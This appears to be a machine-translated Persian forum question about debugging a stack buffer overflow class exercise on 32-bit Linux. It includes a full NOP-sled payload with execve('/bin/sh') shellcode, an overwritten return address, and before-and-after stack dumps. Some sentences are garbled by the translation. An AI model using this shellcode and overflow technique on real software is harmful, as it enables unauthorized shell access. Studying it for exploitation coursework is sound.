سرریز بافر – shellcode تزریقی پس از دستورالعمل ترک خراب شده است

من یک سرریز بافر برای یک کلاس تمرین می کنم و من یک تکه کد دارم که از یک سیستم منبع باز قرض گرفتم. متاسفانه من نمی توانم این کد را فاش کنم.

اطلاعات سیستم من:

 nikel $ uname -a
لینوکس اوبونتو 4.15.0-29-عمومی # 31 ~ 16.04.1-اوبونتو SMP جمعه 18 ژوئیه 10:19:08 UTC 2018 i686 i686 i686 گنو / لینوکس

من از gdbgui برای اشکالزدایی که از طریق pip نصب کردم استفاده میکنم. این نسخه گرافیکی از gdb است.

 nikel $ gdbgui --version
0.13.0.0

بافر من سرشار است، buf اعلام شده حاوی 128 بایت و در 0xbfffe928 وجود دارد. مقادیر به صورت زیر با آرایه اضافه می شوند: buf [len++]، جایی که len در 0xbfffe9a8 است. آدرس برگشت در 0xbfffe9bc .

این شل کد است که من تزریق می کنم:

 " x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x31  xc0  x50  x68  x2f  x2f  x73  x68  x68  x2f  x62  x69  x6e  x89  xe3  x50  x89  xe2  x53  x89  xe1  xb0  x0b  xcd  x80  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x94  x28  xe9  xff  xbf "

در shellcode:

  1. هدف شلختگی، راه اندازی پوسته سیستم / bin / sh است. من آن را مستقیما از https://dhavalkapil.com/blogs/Shellcode-Injection/
  2. x94 کپی کردم که در انتهای آن قرار داده ام، چون آدرسهای حافظه را پر میکنم و به طور مستقیم نوشتن در آدرس بازگشت است که در 0xbfffe9bc .
  3. باز " لازم است که وارد عمل تضعیف شده و بسته شدن " لازم است از این تابع
  4. من فایل را با استفاده از vim -b ویرایش کرده ام و آن را به عنوان یک فایل .bin ذخیره کردم.

این حالت پشته درست قبل از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe938: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe940: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe960: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe968: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe970: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe978: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xbfffe980: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xbfffe988: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0x0b 0xcd
0xbfffe990: 0x80 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0x00
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

این پشته پس از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x00 0x00 0x00 0x00
0xbfffe938: 0x00 0x37 0xdb 0xb7 0x00 0x00 0x00 0x00
0xbfffe940: 0xa0 0xe5 0xe1 0xb7 0x00 0x00 0x00 0x00
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0xa9 0xf8 0xe1 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe960: 0x00 0x60 0xf6 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe968: 0x8c 0xe9 0xff 0xbf 0xd6 0xfc 0xe1 0xb7
0xbfffe970: 0x01 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe978: 0x6b 0x1e 0xe1 0xb7 0x70 0xc1 0x05 0x08
0xbfffe980: 0x00 0x60 0xf6 0xb7 0xc6 0xfc 0xe1 0xb7
0xbfffe988: 0x70 0xc1 0x05 0x08 0xaf 0xe9 0xff 0xbf
0xbfffe990: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0xcc
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

من نمی فهمم که چرا فضای حافظه buf خراب شده است. اگر برنامه را اجرا کنم، این خطا را به من می دهد:

 برنامه
 دریافت سیگنال SIGSEGV، گسل Segmentation.
0xbfffe928 در ؟؟ ()

EIP دارای مقدار 0xbfffe928 است که صحیح است. gdb می گوید نمی تواند به آدرس 0xbfffe928 دسترسی پیدا کند